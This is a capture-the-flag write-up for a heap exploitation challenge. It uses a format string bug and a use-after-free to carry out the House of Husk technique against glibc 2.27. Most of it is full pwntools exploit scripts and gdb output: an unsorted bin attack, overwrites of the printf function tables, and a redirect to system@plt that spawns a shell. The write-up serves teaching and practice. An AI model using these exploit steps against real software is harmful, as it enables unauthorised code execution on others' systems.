---
# System prepended metadata

title: Minecraft

---

# Minecraft

This is a heap challenge with a new technique called `House of Husk`. You can read this technique [here](https://ptr-yudai.hatenablog.com/entry/2020/04/02/111507) or [here](https://maxIlldulin.com/BlogPost?post=3107454976).

At first reading the decompiler, I notice there is a **Format String** bug when I `(l)eak the end poem`. There is also a **Use-After-Free** bug when I `(b)reak a block` and keep it in inventory and then `(r)eplace a block`. Other options are secured, no of-by-one or any bug so I are sure I will use technique `House of Husk` for this challenge.

Trying to write a script as first link above, I can get arbitrary execution now:

```python
#!/usr/bin/python3

from pwn import *
import subprocess

def sla(msg, content):
    p.sendlineafter(msg, content)

def sa(msg, content):
    p.sendafter(msg, content)

def PlaceBlock(idx, len, content):
    sla(b'poem\n', b'p')
    sla(b'idx: \n', f'{idx}'.encode())
    sla(b'len: \n', str(len).encode())
    sa(b'block: \n', content)

def ReplaceBlock(idx, content):
    sla(b'poem\n', b'r')
    sla(b'idx: \n', f'{idx}'.encode())
    sa(b'block: \n', content)

def BreakBlock(idx, keep):
    sla(b'poem\n', b'b')
    sla(b'idx: \n', f'{idx}'.encode())
    sla(b'inventory? \n', keep)

def LeakPoem(idx):
    sla(b'poem\n', b'l')
    sla(b'idx: \n', f'{idx}'.encode())

def offset2size(offset):
    return offset * 2 - 0x10

elf = ELF('./vuln_patched')
libc = ELF('./libc.so.6')
context.binary = exe
context.log_level = 'debug'

PRINTF_FUNCTABLE = 0x3f0738
PRINTF_ARGINFO = 0x3ec870
GLOBAL_MAX_FAST = 0x3ed940
MAIN_ARENA = 0x3ebc40

p = process(elf.path)

PlaceBlock(0, 0x500, b'0'*8)        # Use After Free
PlaceBlock(1, offset2size(PRINTF_FUNCTABLE - MAIN_ARENA), b'1'*8)
# prepare fake printf arginfo table
payload = flat(
    b'\x00'*(0x58-2)*8,
    0xdeadbeef,
    )
PlaceBlock(2, offset2size(PRINTF_ARGINFO - MAIN_ARENA), payload)
PlaceBlock(3, 0x500, b'%X\x00')

# unsorted bin attack
BreakBlock(0, b'y')
ReplaceBlock(0, b'A'*8 + p16(0x6940 - 0x10))
PlaceBlock(0, 0x500, b'0'*8)

# overwrite __printf_arginfo_table and __printf_function_table
BreakBlock(1, b'n')
BreakBlock(2, b'n')
LeakPoem(3)
p.interactive()
```

And jumped into `0xdeadbeef` when run without ASLR:

```gdb
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0xdeadbeef        
$rbx   : 0x007fffffffa7d0  →  0x00000000ffffffff
$rcx   : 0x007fffffffa810  →  0x00000000ffffffff
$rdx   : 0x007fffffffa804  →  0x0000000000000000
$rsp   : 0x007fffffffa698  →  0x00155554fb6216  →  <__parse_one_specmb+1606> movsxd rcx, eax
$rbp   : 0x0               
$rsi   : 0x1               
$rdi   : 0x007fffffffa7d0  →  0x00000000ffffffff
$rip   : 0xdeadbeef        
$r8    : 0x007fffffffb198  →  0x0000003000000008
$r9    : 0x0               
$r10   : 0x001555550d7bc0  →  0x0002000200020002
$r11   : 0x00000000402099  →   add BYTE PTR [rbp+riz*2+0x6e], ch
$r12   : 0x0               
$r13   : 0x1               
$r14   : 0x007fffffffa7d0  →  0x00000000ffffffff
$r15   : 0x000000004105c0  →  0x00000000005825 ("%X"?)
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
─────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffa698│+0x0000: 0x00155554fb6216  →  <__parse_one_specmb+1606> movsxd rcx, eax     ← $rsp
0x007fffffffa6a0│+0x0008: 0x0000000000000000
0x007fffffffa6a8│+0x0010: 0x000000004105c2  →  0x0000000000000000
0x007fffffffa6b0│+0x0018: 0x0000000000000000
0x007fffffffa6b8│+0x0020: 0x0000000000000000
0x007fffffffa6c0│+0x0028: 0x007fffffffb030  →  0x007fffffffb5e0  →  0x007fffffffdcd0  →  0x007fffffffdde0  →  0x00000000401740  →  <__libc_csu_init+0> endbr64 
0x007fffffffa6c8│+0x0030: 0x000000000000000e
0x007fffffffa6d0│+0x0038: 0x0000000000000001
───────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0xdeadbeef
───────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln_patched", stopped 0xdeadbeef in ?? (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────── trace ────
──────────────────────────────────────────────────────────────────────────────────────────────
gef➤  
```

Looking at rdi, it seems like I can control that. Debug printf a bit and I can see it jump to `__parse_one_specmb` before it execute `0xdeadbeef`. Viewing source [here](https://elixir.bootlin.com/glibc/glibc-2.27/source/stdio-common/printf-parsemb.c#L61)

```c
if (
    __builtin_expect (__printf_function_table == NULL, 1) ||

    spec->info.spec > UCHAR_MAX ||

    __printf_arginfo_table[spec->info.spec] == NULL ||

    (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
               (&spec->info, 1, &spec->data_arg_type, &spec->size)) < 0)
{
    ...
}
```

The first 3 checks are false so it execute the function inside `__printf_arginfo_table[spec->info.spec]`, which I faked to `0xdeadbeef`. The first argument is `&spec->info` which is our rdi and `info` is also a struct which you can find [here](https://elixir.bootlin.com/glibc/glibc-2.27/source/stdio-common/printf-parse.h#L26) (structure of `spec`) and [here](https://elixir.bootlin.com/glibc/glibc-2.27/source/stdio-common/printf.h#L34) (structore of `info`). So I need to control `&spec->info.prec` to have a string `sh`.

So just replace the format string above into `%d` to modify `&spec->info.prec`:

```python
p = process(exe.path)

PlaceBlock(0, 0x500, b'0'*8)        # Use After Free
PlaceBlock(1, offset2size(PRINTF_FUNCTABLE - MAIN_ARENA), b'1'*8)
# prepare fake printf arginfo table
payload = flat(
    b'\x00'*(ord('d')-2)*8,                  # <-- Change here
    0xdeadbeef,
    )
PlaceBlock(2, offset2size(PRINTF_ARGINFO - MAIN_ARENA), payload)
PlaceBlock(3, 0x500, b'%.26739d\x00')        # <-- Change here

# unsorted bin attack
BreakBlock(0, b'y')
ReplaceBlock(0, b'A'*8 + p16(0x6940 - 0x10))
PlaceBlock(0, 0x500, b'0'*8)

# overwrite __printf_arginfo_table and __printf_function_table
BreakBlock(1, b'n')
BreakBlock(2, b'n')
LeakPoem(3)
p.interactive()
```

Debug with gdb and I get rdi contain string `sh`:

```gdb
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0xdeadbeef        
$rbx   : 0x007fffffffa7d0  →  0x00000000006873 ("sh"?)
$rcx   : 0x007fffffffa810  →  0x00000000ffffffff
$rdx   : 0x007fffffffa804  →  0x0000000000000000
$rsp   : 0x007fffffffa698  →  0x00155554fb6216  →  <__parse_one_specmb+1606> movsxd rcx, eax
$rbp   : 0x0               
$rsi   : 0x1               
$rdi   : 0x007fffffffa7d0  →  0x00000000006873 ("sh"?)
$rip   : 0xdeadbeef        
$r8    : 0x7ffffff6        
$r9    : 0x7fffffff        
$r10   : 0x001555550d7bc0  →  0x0002000200020002
$r11   : 0x00000000402099  →   add BYTE PTR [rbp+riz*2+0x6e], ch
$r12   : 0x0               
$r13   : 0x1               
$r14   : 0x007fffffffa7d0  →  0x00000000006873 ("sh"?)
$r15   : 0x000000004105c0  →  "%.26739d"
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
─────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffa698│+0x0000: 0x00155554fb6216  →  <__parse_one_specmb+1606> movsxd rcx, eax     ← $rsp
0x007fffffffa6a0│+0x0008: 0x0000000000000000
0x007fffffffa6a8│+0x0010: 0x000000004105c8  →  0x0000000000000000
0x007fffffffa6b0│+0x0018: 0x0000000000000000
0x007fffffffa6b8│+0x0020: 0x0000000000000000
0x007fffffffa6c0│+0x0028: 0x007fffffffb030  →  0x007fffffffb5e0  →  0x007fffffffdcd0  →  0x007fffffffdde0  →  0x00000000401740  →  <__libc_csu_init+0> endbr64 
0x007fffffffa6c8│+0x0030: 0x000000000000000e
0x007fffffffa6d0│+0x0038: 0x0000000000000001
───────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0xdeadbeef
───────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln_patched", stopped 0xdeadbeef in ?? (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────── trace ────
──────────────────────────────────────────────────────────────────────────────────────────────
gef➤  
```

Because I don't have address of libc so reusing address of binary is the best choice now, also there is function `system@plt`, I just need to change from `0xdeadbeef` to `system@plt` to get shell now:

```python
p = process(exe.path)

PlaceBlock(0, 0x500, b'0'*8)        # Use After Free
PlaceBlock(1, offset2size(PRINTF_FUNCTABLE - MAIN_ARENA), b'1'*8)
# prepare fake printf arginfo table
payload = flat(
    b'\x00'*(ord('d')-2)*8,
    exe.plt['system'],                 # <-- Change here
    )
PlaceBlock(2, offset2size(PRINTF_ARGINFO - MAIN_ARENA), payload)
PlaceBlock(3, 0x500, b'%.26739d\x00')

# unsorted bin attack
BreakBlock(0, b'y')
ReplaceBlock(0, b'A'*8 + p16(0x6940 - 0x10))
PlaceBlock(0, 0x500, b'0'*8)

# overwrite __printf_arginfo_table and __printf_function_table
BreakBlock(1, b'n')
BreakBlock(2, b'n')
LeakPoem(3)
p.interactive()
```

Executing script without aslr, `python3 solve.py NOASRL`, I can get shell now. The other thing is to bruteforce address of `global_max_fast`. Full script for this:

```python
while True:
    p = process(exe.path)

    PlaceBlock(0, 0x500, b'0'*8)        # Use After Free
    PlaceBlock(1, offset2size(PRINTF_FUNCTABLE - MAIN_ARENA), b'1'*8)
    # prepare fake printf arginfo table
    payload = flat(
        b'\x00'*(ord('d')-2)*8,
        exe.plt['system'],
        )
    PlaceBlock(2, offset2size(PRINTF_ARGINFO - MAIN_ARENA), payload)
    PlaceBlock(3, 0x500, b'%.26739d\x00')

    # unsorted bin attack
    BreakBlock(0, b'y')
    ReplaceBlock(0, b'A'*8 + p16(0x6940 - 0x10))

    try:
        PlaceBlock(0, 0x500, b'0'*8)
        # overwrite __printf_arginfo_table and __printf_function_table
        BreakBlock(1, b'n')
        BreakBlock(2, b'n')
    except:
        p.close()
        continue

    LeakPoem(3)

    p.interactive()
```

Flag: `ictf{pr1ntf_is_p0werful_86b21f38}`